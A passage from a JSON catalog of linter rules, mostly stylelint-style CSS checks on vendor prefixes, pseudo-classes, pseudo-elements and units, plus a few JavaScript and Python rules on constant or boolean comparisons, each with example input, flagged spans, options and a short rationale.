      "description": "Reports a vendor-prefixed pseudo-class or pseudo-element that has a standard one (`::-moz-selection`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@-webkit-keyframes k { from { color: red } }\n@media (-webkit-min-device-pixel-ratio: 2) {}\na { -webkit-transition: none; -webkit-foo: 1; display: -webkit-flex; background: -webkit-linear-gradient(red, blue) }\na::-moz-selection {}\na:-moz-placeholder, a::-webkit-scrollbar {}\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          3
        ],
        "spans": [
          {
            "column": 4,
            "length": 14,
            "line": 4
          },
          {
            "column": 3,
            "length": 16,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "selector-no-vendor-prefix",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "Names left out: names, or `/regex/`.",
          "name": "ignore",
          "type": "list"
        }
      ],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "selector-no-vendor-prefix",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-no-vendor-prefix"
        }
      ],
      "why": "A prefixed selector was a way to try a feature before it was standardised. Browsers support the standard name now, so the prefixed one is dead weight that a build step can add where it is needed.\n\nTo fix, use the standard selector."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a pseudo-class that is not in the `list` option. An empty list allows everything.",
      "example": {
        "config": "property-allowed-list: { level: warn, options: { list: [color, \"/^wid/\"] } }\nunit-allowed-list: { level: warn, options: { list: [px, em] } }\nfunction-allowed-list: { level: warn, options: { list: [var] } }\nat-rule-allowed-list: { level: warn, options: { list: [media] } }\nmedia-feature-name-allowed-list: { level: warn, options: { list: [max-width] } }\nselector-pseudo-class-allowed-list: { level: warn, options: { list: [focus] } }\nselector-pseudo-element-allowed-list: { level: warn, options: { list: [after] } }\nselector-combinator-allowed-list: { level: warn, options: { list: [\" \"] } }\nselector-attribute-operator-allowed-list: { level: warn, options: { list: [\"=\"] } }\n",
        "fixed": null,
        "input": "@import \"a.css\";\n[x~=y] { color: red }\n@media (min-width: 40em) {\n  a:hover::before > b { color: red; float: left; width: calc(1px + 2em); height: 1rem }\n}\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          3
        ],
        "spans": [
          {
            "column": 5,
            "length": 5,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "selector-pseudo-class-allowed-list",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "The allowed pseudo-classes, without `:`: names, or `/regex/`.",
          "name": "list",
          "type": "list"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "selector-pseudo-class-allowed-list",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-pseudo-class-allowed-list"
        }
      ],
      "why": "A project can limit the pseudo-classes of its selectors, for example to the ones its browsers support. The rule is a policy: with no `list` it reports nothing."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a pseudo-class that is in the `list` option.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@import \"a.css\";\n@media (min-width: 40em) and (color) {\n  a { float: left; width: 1em }\n}\na:hover::before > b[style] { color: red; width: calc(1px + 2px); --x: 1em }\n.c { margin: 0 0 1px 2em; height: 50%; font-size: 12PX }\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          3,
          6
        ],
        "spans": [
          {
            "column": 3,
            "length": 5,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "selector-pseudo-class-disallowed-list",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "The disallowed pseudo-classes, without `:`: names, or `/regex/`.",
          "name": "list",
          "type": "list"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "selector-pseudo-class-disallowed-list",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-pseudo-class-disallowed-list"
        }
      ],
      "why": "A project can forbid a pseudo-class that its browsers do not support or that is slow on large pages. The rule is a policy: with no `list` it reports nothing."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a pseudo-class that is not a CSS one. Vendor-prefixed ones are not reported, and the `-webkit-scrollbar` pseudo-classes count after those pseudo-elements.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@foo {}\n@media (foo: 1) and (min-width: 1px) and (-webkit-min-device-pixel-ratio: 2) and (400px <= width) {}\n@media (min-resolution: 2x) {}\na { colour: red; width: 1foo; height: 2x; -webkit-foo: 1; --x: 1foo; width: foo(1) bar(2) var(--a) calc(1px + 2px) }\na { background: image-set(url(\"a.png\") 1x); margin: 1PX 2% 1e3em }\na:foo, a:hover, a::foo, a::before, a:before, a:-moz-foo, a:nth-child(even), a:lang(en), a:not(:bar) {}\nfoo, div, b::slotted(x-y), svg > circle {}\n::-webkit-scrollbar-thumb:horizontal {}\na:horizontal {}\n@page :first { margin: 1cm }\n@font-face {\n  src: url(\"a\");\n  font-display: swap;\n}\n@keyframes k { from { color: red } 50% { color: blue } }\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          4,
          7
        ],
        "spans": [
          {
            "column": 3,
            "length": 3,
            "line": 6
          },
          {
            "column": 96,
            "length": 3,
            "line": 6
          },
          {
            "column": 3,
            "length": 10,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "selector-pseudo-class-no-unknown",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "Names left out: names, or `/regex/`.",
          "name": "ignore",
          "type": "list"
        }
      ],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "selector-pseudo-class-no-unknown",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-pseudo-class-no-unknown"
        }
      ],
      "why": "A selector with an unknown pseudo-class is invalid, and the browser drops the whole rule, not only the pseudo-class. A typo (`:hovr`) therefore removes the style for every selector in the list.\n\nTo fix, correct the name."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a pseudo-element that is not in the `list` option. An empty list allows everything.",
      "example": {
        "config": "property-allowed-list: { level: warn, options: { list: [color, \"/^wid/\"] } }\nunit-allowed-list: { level: warn, options: { list: [px, em] } }\nfunction-allowed-list: { level: warn, options: { list: [var] } }\nat-rule-allowed-list: { level: warn, options: { list: [media] } }\nmedia-feature-name-allowed-list: { level: warn, options: { list: [max-width] } }\nselector-pseudo-class-allowed-list: { level: warn, options: { list: [focus] } }\nselector-pseudo-element-allowed-list: { level: warn, options: { list: [after] } }\nselector-combinator-allowed-list: { level: warn, options: { list: [\" \"] } }\nselector-attribute-operator-allowed-list: { level: warn, options: { list: [\"=\"] } }\n",
        "fixed": null,
        "input": "@import \"a.css\";\n[x~=y] { color: red }\n@media (min-width: 40em) {\n  a:hover::before > b { color: red; float: left; width: calc(1px + 2em); height: 1rem }\n}\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          3
        ],
        "spans": [
          {
            "column": 12,
            "length": 6,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "selector-pseudo-element-allowed-list",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "The allowed pseudo-elements, without colons: names, or `/regex/`.",
          "name": "list",
          "type": "list"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "selector-pseudo-element-allowed-list",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-pseudo-element-allowed-list"
        }
      ],
      "why": "A project can limit the pseudo-elements of its selectors, for example to the ones its browsers support. The rule is a policy: with no `list` it reports nothing."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `:before`, `:after`, `:first-line` or `:first-letter` written with one colon.",
      "example": {
        "config": null,
        "fixed": "a:before, a::after, a:hover {}\n[a=b], [a=\"b\"], [a], [a~=b i] {}\na:nth-child(0), a:nth-child(2n+1), a:nth-last-child(-n) {}\n/* a */ /* a */ /** a **/ /* */\n@keyframes k { from { top: 0 } to { top: 1px } }\n@keyframes j { from { top: 0 } 50% { top: 1px } to { top: 2px } }\n",
        "input": "a:before, a::after, a:hover {}\n[a=b], [a=\"b\"], [a], [a~=b i] {}\na:nth-child(0), a:nth-child(2n+1), a:nth-last-child(-n) {}\n/*a*/ /* a */ /** a **/ /**/\n@keyframes k { from { top: 0 } to { top: 1px } }\n@keyframes j { from { top: 0 } 50% { top: 1px } to { top: 2px } }\n",
        "language": "css",
        "other_lines": [
          2,
          3,
          4,
          6
        ],
        "spans": [
          {
            "column": 1,
            "length": 27,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "selector-pseudo-element-colon-notation",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "selector-pseudo-element-colon-notation",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-pseudo-element-colon-notation"
        }
      ],
      "why": "CSS3 separated pseudo-elements from pseudo-classes with two colons so the reader can tell them apart. The single colon is kept only for old browsers, and a file that mixes both is inconsistent.\n\nTo fix, write `::before`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a pseudo-element that is in the `list` option.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@import \"a.css\";\n@media (min-width: 40em) and (color) {\n  a { float: left; width: 1em }\n}\na:hover::before > b[style] { color: red; width: calc(1px + 2px); --x: 1em }\n.c { margin: 0 0 1px 2em; height: 50%; font-size: 12PX }\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          3,
          6
        ],
        "spans": [
          {
            "column": 10,
            "length": 6,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "selector-pseudo-element-disallowed-list",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "The disallowed pseudo-elements, without colons: names, or `/regex/`.",
          "name": "list",
          "type": "list"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "selector-pseudo-element-disallowed-list",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-pseudo-element-disallowed-list"
        }
      ],
      "why": "A project can forbid a pseudo-element that its browsers do not support or that its design avoids. The rule is a policy: with no `list` it reports nothing."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a pseudo-element that is not a CSS one. Vendor-prefixed ones are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@foo {}\n@media (foo: 1) and (min-width: 1px) and (-webkit-min-device-pixel-ratio: 2) and (400px <= width) {}\n@media (min-resolution: 2x) {}\na { colour: red; width: 1foo; height: 2x; -webkit-foo: 1; --x: 1foo; width: foo(1) bar(2) var(--a) calc(1px + 2px) }\na { background: image-set(url(\"a.png\") 1x); margin: 1PX 2% 1e3em }\na:foo, a:hover, a::foo, a::before, a:before, a:-moz-foo, a:nth-child(even), a:lang(en), a:not(:bar) {}\nfoo, div, b::slotted(x-y), svg > circle {}\n::-webkit-scrollbar-thumb:horizontal {}\na:horizontal {}\n@page :first { margin: 1cm }\n@font-face {\n  src: url(\"a\");\n  font-display: swap;\n}\n@keyframes k { from { color: red } 50% { color: blue } }\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          4,
          7,
          9
        ],
        "spans": [
          {
            "column": 20,
            "length": 3,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "selector-pseudo-element-no-unknown",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "Names left out: names, or `/regex/`.",
          "name": "ignore",
          "type": "list"
        }
      ],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "selector-pseudo-element-no-unknown",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-pseudo-element-no-unknown"
        }
      ],
      "why": "A selector with an unknown pseudo-element is invalid, and the browser drops the whole rule.\n\nTo fix, correct the name."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a type selector with capitals (`A {}`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": ".good-name, .badName, #bad_id, #good-id { --good-name: 1; --badName: 2 }\n@keyframes badFrames { from { top: 0 } }\n@keyframes good-frames { from { top: 0 } }\n@custom-media --badMedia (min-width: 1px);\n@custom-media --good-media (min-width: 1px);\n@layer badLayer, good-layer;\n@container badBox (min-width: 1px) { a { color: red } }\n@container good-box (min-width: 1px) { a { color: red } }\nA, B.c:not(.dX) {}\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          4,
          6,
          7
        ],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 9
          },
          {
            "column": 4,
            "length": 1,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "selector-type-case",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "selector-type-case",
          "note": "differs from stylelint on camelCase SVG element names (clipPath)",
          "partial": true,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-type-case"
        }
      ],
      "why": "HTML element names are matched without regard to case, so `A` and `a` select the same elements and capitals only add spellings. Lowercase is the convention and the one the markup uses.\n\nTo fix, write the selector in lowercase."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a type selector that is not an HTML, SVG or MathML element; custom elements are accepted. Keyframe selectors and the arguments of `:lang()`, `:nth-child()` and the like are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@foo {}\n@media (foo: 1) and (min-width: 1px) and (-webkit-min-device-pixel-ratio: 2) and (400px <= width) {}\n@media (min-resolution: 2x) {}\na { colour: red; width: 1foo; height: 2x; -webkit-foo: 1; --x: 1foo; width: foo(1) bar(2) var(--a) calc(1px + 2px) }\na { background: image-set(url(\"a.png\") 1x); margin: 1PX 2% 1e3em }\na:foo, a:hover, a::foo, a::before, a:before, a:-moz-foo, a:nth-child(even), a:lang(en), a:not(:bar) {}\nfoo, div, b::slotted(x-y), svg > circle {}\n::-webkit-scrollbar-thumb:horizontal {}\na:horizontal {}\n@page :first { margin: 1cm }\n@font-face {\n  src: url(\"a\");\n  font-display: swap;\n}\n@keyframes k { from { color: red } 50% { color: blue } }\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          4,
          6,
          9
        ],
        "spans": [
          {
            "column": 1,
            "length": 3,
            "line": 7
          },
          {
            "column": 22,
            "length": 3,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "selector-type-no-unknown",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "Names left out: names, or `/regex/`.",
          "name": "ignore",
          "type": "list"
        }
      ],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "selector-type-no-unknown",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-type-no-unknown"
        }
      ],
      "why": "An unknown type selector never matches, so the rule does nothing. It is almost always a typo (`dvi`) or a class that lost its dot.\n\nTo fix, correct the name or add the missing `.` or `#`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `margin`, `padding`, `border-color`, `border-style`, `border-width` or `border-radius` with two, three or four values that repeat (`1px 1px` is `1px`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@import url(\"a.css\");\n@import \"b.css\";\na {\n  margin: 0px 0.0em 0;\n  transition: 0s;\n  width: calc(0px + 1px);\n  --x: 0px;\n  background: url(a.png), url(\"b.png\");\n  color: #aabbcc;\n  color: #abc;\n  border-color: #ab #abcde #abcdef;\n  padding: 1px 1px;\n  padding: 1px 2px 1px 2px;\n  padding: 1px 2px 3px 2px;\n  font-family: \"Arial\", 'Lucida Grande', \"Font 2\", sans-serif;\n}\n",
        "language": "css",
        "other_lines": [
          1,
          4,
          7,
          8,
          9,
          10,
          11,
          15
        ],
        "spans": [
          {
            "column": 12,
            "length": 3,
            "line": 12
          },
          {
            "column": 12,
            "length": 3,
            "line": 13
          },
          {
            "column": 12,
            "length": 3,
            "line": 14
          }
        ]
      },
      "fix": null,
      "id": "shorthand-property-no-redundant-values",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "shorthand-property-no-redundant-values",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/shorthand-property-no-redundant-values"
        }
      ],
      "why": "CSS fills the missing values of these shorthands by repeating the others, so the longer form says the same as the shorter one. The short form is easier to read and cannot have one value changed by mistake.\n\nTo fix, delete the values that the shorthand repeats by itself."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a unit (`%` included) that is not in the `list` option, in values and at-rule preludes. An empty list allows everything.",
      "example": {
        "config": "property-allowed-list: { level: warn, options: { list: [color, \"/^wid/\"] } }\nunit-allowed-list: { level: warn, options: { list: [px, em] } }\nfunction-allowed-list: { level: warn, options: { list: [var] } }\nat-rule-allowed-list: { level: warn, options: { list: [media] } }\nmedia-feature-name-allowed-list: { level: warn, options: { list: [max-width] } }\nselector-pseudo-class-allowed-list: { level: warn, options: { list: [focus] } }\nselector-pseudo-element-allowed-list: { level: warn, options: { list: [after] } }\nselector-combinator-allowed-list: { level: warn, options: { list: [\" \"] } }\nselector-attribute-operator-allowed-list: { level: warn, options: { list: [\"=\"] } }\n",
        "fixed": null,
        "input": "@import \"a.css\";\n[x~=y] { color: red }\n@media (min-width: 40em) {\n  a:hover::before > b { color: red; float: left; width: calc(1px + 2em); height: 1rem }\n}\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          3
        ],
        "spans": [
          {
            "column": 82,
            "length": 4,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "unit-allowed-list",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "The allowed units: names, or `/regex/`.",
          "name": "list",
          "type": "list"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "unit-allowed-list",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/unit-allowed-list"
        }
      ],
      "why": "A project can fix the units its layout uses (`rem` and `%`, not `px`), so lengths scale the same way throughout. The rule is a policy: with no `list` it reports nothing."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a unit (`%` included) that is in the `list` option, in values and at-rule preludes.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@import \"a.css\";\n@media (min-width: 40em) and (color) {\n  a { float: left; width: 1em }\n}\na:hover::before > b[style] { color: red; width: calc(1px + 2px); --x: 1em }\n.c { margin: 0 0 1px 2em; height: 50%; font-size: 12PX }\n",
        "language": "css",
        "other_lines": [
          1
        ],
        "spans": [
          {
            "column": 20,
            "length": 4,
            "line": 2
          },
          {
            "column": 27,
            "length": 3,
            "line": 3
          },
          {
            "column": 71,
            "length": 3,
            "line": 5
          },
          {
            "column": 22,
            "length": 3,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "unit-disallowed-list",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "The disallowed units: names, or `/regex/`.",
          "name": "list",
          "type": "list"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "unit-disallowed-list",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/unit-disallowed-list"
        }
      ],
      "why": "A project can forbid a unit that does not fit its design, for example `px` where text has to follow the user's font size. The rule is a policy: with no `list` it reports nothing."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a unit that is not a CSS unit, in values and `@media` preludes. `x` is accepted only in `image-set()`, `image-resolution` and `resolution` media features. The `ignore` option lists more names.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@foo {}\n@media (foo: 1) and (min-width: 1px) and (-webkit-min-device-pixel-ratio: 2) and (400px <= width) {}\n@media (min-resolution: 2x) {}\na { colour: red; width: 1foo; height: 2x; -webkit-foo: 1; --x: 1foo; width: foo(1) bar(2) var(--a) calc(1px + 2px) }\na { background: image-set(url(\"a.png\") 1x); margin: 1PX 2% 1e3em }\na:foo, a:hover, a::foo, a::before, a:before, a:-moz-foo, a:nth-child(even), a:lang(en), a:not(:bar) {}\nfoo, div, b::slotted(x-y), svg > circle {}\n::-webkit-scrollbar-thumb:horizontal {}\na:horizontal {}\n@page :first { margin: 1cm }\n@font-face {\n  src: url(\"a\");\n  font-display: swap;\n}\n@keyframes k { from { color: red } 50% { color: blue } }\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          6,
          7,
          9
        ],
        "spans": [
          {
            "column": 25,
            "length": 4,
            "line": 4
          },
          {
            "column": 64,
            "length": 4,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "unit-no-unknown",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "Names left out: names, or `/regex/`.",
          "name": "ignore",
          "type": "list"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "unit-no-unknown",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/unit-no-unknown"
        }
      ],
      "why": "An unknown unit (`1foo`, or `10pxx` by a typo) makes the declaration invalid, and the browser drops it without an error.\n\nTo fix, correct the unit."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a vendor-prefixed keyword or function that has a standard value (`-webkit-flex`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@-webkit-keyframes k { from { color: red } }\n@media (-webkit-min-device-pixel-ratio: 2) {}\na { -webkit-transition: none; -webkit-foo: 1; display: -webkit-flex; background: -webkit-linear-gradient(red, blue) }\na::-moz-selection {}\na:-moz-placeholder, a::-webkit-scrollbar {}\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          4,
          5
        ],
        "spans": [
          {
            "column": 56,
            "length": 12,
            "line": 3
          },
          {
            "column": 82,
            "length": 23,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "value-no-vendor-prefix",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "Names left out: names, or `/regex/`.",
          "name": "ignore",
          "type": "list"
        }
      ],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "value-no-vendor-prefix",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/value-no-vendor-prefix"
        }
      ],
      "why": "A prefixed value was a way to try a feature before it was standardised. Browsers support the standard value now, so the prefixed one is dead weight that a build step can add where it is needed.\n\nTo fix, use the standard value."
    },
    {
      "category": "cleanup",
      "default_level": "off",
      "description": "Reports an equality or inequality with a boolean literal on either side (`x == true`, `x !== false`, `true == x`, `x != False`). The option `literals` lists the texts that count as boolean literals, `not_operators` the operators that are not a comparison of value (Python `is`). Off by default.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "x = 1\nx == True\nx != False\nTrue == x\nx is True\nx == 1\n",
        "language": "python",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 9,
            "line": 2
          },
          {
            "column": 1,
            "length": 10,
            "line": 3
          },
          {
            "column": 1,
            "length": 9,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "boolean-literal-comparison",
      "languages": [
        "c",
        "cpp",
        "csharp",
        "java",
        "js",
        "kotlin",
        "php",
        "python",
        "ruby"
      ],
      "options": [
        {
          "default": [
            "true",
            "false",
            "True",
            "False"
          ],
          "description": "The texts that are boolean literals",
          "name": "literals",
          "type": "list"
        },
        {
          "default": [],
          "description": "Equality operators that are not a comparison of value (Python `is`)",
          "name": "not_operators",
          "type": "list"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "SimplifyBooleanExpression",
          "note": "Only a comparison with a boolean literal, not the double negation or the conditional forms.",
          "partial": true,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/coding/simplifybooleanexpression.html#SimplifyBooleanExpression"
        },
        {
          "id": "E712",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/E712/"
        }
      ],
      "why": "Comparing a condition with `true` or `false` adds a token pair that says what the expression already says. `x == true` reads longer than `x`, and for values that are not strictly boolean (a number, a string) the comparison also means something other than the plain test.\n\nTo fix, use the expression itself, or `!` before it."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports an assignment used as the condition of an `if`, a ternary or a loop (`if (a = b)`, `while (x = next())`) when it is not wrapped in parentheses of its own (`if ((a = b))` is accepted). Python's `:=` is left alone. Off by default.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a = a; a.b = a.b; a[\"b\"] = a.b; a[b] = a[b]; this.c = this.c; a = b; a.b = a.c; a &&= a; a += a;\n[a, b] = [a, b]; [a, ...b] = [a, ...b]; [a, b] = [b, a]; ({ a } = { a }); ({ a: b } = { a: b });\nif (a = b) {} if ((a = b)) {} while (a = b) {} do {} while (a = b); for (; a = b; ) {} for (; (a = b); ) {}\nvar x = (a = b) ? 1 : 2, y = a = b ? 1 : 2;\nif (!!a) {} while (!!a) {} do {} while (!!a); for (; !!a; ) {} var z = !!a ? 1 : 2, w = !!a;\nif (Boolean(a)) {} if (!Boolean(a)) {} Boolean(!!a); !!!a; if ((!!a)) {} if (a && !!b) {} var u = Boolean(a);\n",
        "language": "js",
        "other_lines": [
          1,
          2,
          5,
          6
        ],
        "spans": [
          {
            "column": 5,
            "length": 5,
            "line": 3
          },
          {
            "column": 38,
            "length": 5,
            "line": 3
          },
          {
            "column": 61,
            "length": 5,
            "line": 3
          },
          {
            "column": 76,
            "length": 5,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "no-assignment-in-condition",
      "languages": [
        "c",
        "cpp",
        "csharp",
        "go",
        "java",
        "js",
        "kotlin",
        "php",
        "python",
        "ruby"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint",
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "no-cond-assign",
          "note": "only the default `except-parens` mode",
          "partial": true,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-cond-assign"
        },
        {
          "id": "Lint/AssignmentInCondition",
          "note": "`a && b = c` is the Ruby rule no-assignment-in-logical-condition; over several lines is reported at the first line of the condition, RuboCop reports the assignment line",
          "partial": true,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintassignmentincondition"
        }
      ],
      "why": "An assignment in a condition is nearly always a typing error for `==`: the test then stores a value and branches on it, and the comparison the author meant never happens. A reader cannot tell the two intentions apart.\n\nTo fix, write `==` if a comparison was meant, or move the assignment out of the condition (or add the extra parentheses) if it was meant."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports an equality or a comparison whose two sides are both literals (`1 === 2`, `\"a\" < \"b\"`). An operand that is an expression of literals (`1 + 1 === 2`) is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "if (a === a) {} if (a.b < a.b) {} if (f() === f()) {} if (a === b) {}\nif (1 === 2) {} if (a === 1) {}\nif (true) {} while (0) {} while (true) {} for (;;) {} var c = \"x\" ? 1 : 2, d = a ? 1 : 2;\n",
        "language": "js",
        "other_lines": [
          1,
          3
        ],
        "spans": [
          {
            "column": 5,
            "length": 7,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "no-constant-comparison",
      "languages": [
        "c",
        "cpp",
        "csharp",
        "java",
        "js",
        "kotlin",
        "php",
        "python",
        "ruby"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-constant-binary-expression",
          "note": "only two literals compared",
          "partial": true,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-constant-binary-expression"
        }
      ],
      "why": "The result of a comparison of two literals is fixed when the code is written, so one branch of the `if` never runs. It is usually a leftover of debugging, or of a value that was meant to be a variable.\n\nTo fix, compare the variable, or replace the test with its result."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports the condition of an `if`, a ternary or a loop that is a literal (`if (true)`, `if (0)`, `x = true ? 1 : 2`, `while (false)`). The usual forms of an endless loop (`while (true)`, `while (1)`, `for (;true;)`, `do {} while (true)`) are left alone.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "if (a === a) {} if (a.b < a.b) {} if (f() === f()) {} if (a === b) {}\nif (1 === 2) {} if (a === 1) {}\nif (true) {} while (0) {} while (true) {} for (;;) {} var c = \"x\" ? 1 : 2, d = a ? 1 : 2;\n",
        "language": "js",
        "other_lines": [
          1,
          2
        ],
        "spans": [
          {
            "column": 5,
            "length": 4,
            "line": 3
          },
          {
            "column": 21,
            "length": 1,
            "line": 3
          },
          {
            "column": 63,
            "length": 3,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "no-constant-condition",
      "languages": [
        "c",
        "cpp",
        "csharp",
        "go",
        "java",
        "js",
        "kotlin",
        "php",
        "python",
        "ruby"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-constant-condition",
          "note": "literals only (no object, function or `!` forms)",
          "partial": true,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-constant-condition"
        }
      ],
      "why": "With a literal as the test one branch always runs and the other never does, so the test is either dead code or a switch that was left on while debugging.\n\nTo fix, remove the test and keep the branch that runs, or put the real condition in."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports an arm of a `switch`, `match`, `when` or `case` whose test is the same as the test of an earlier arm of the same statement (`case 1:` twice). The second arm is reported, the first is shown as related.",
      "example": {
        "config": null,
        "fixed": null,
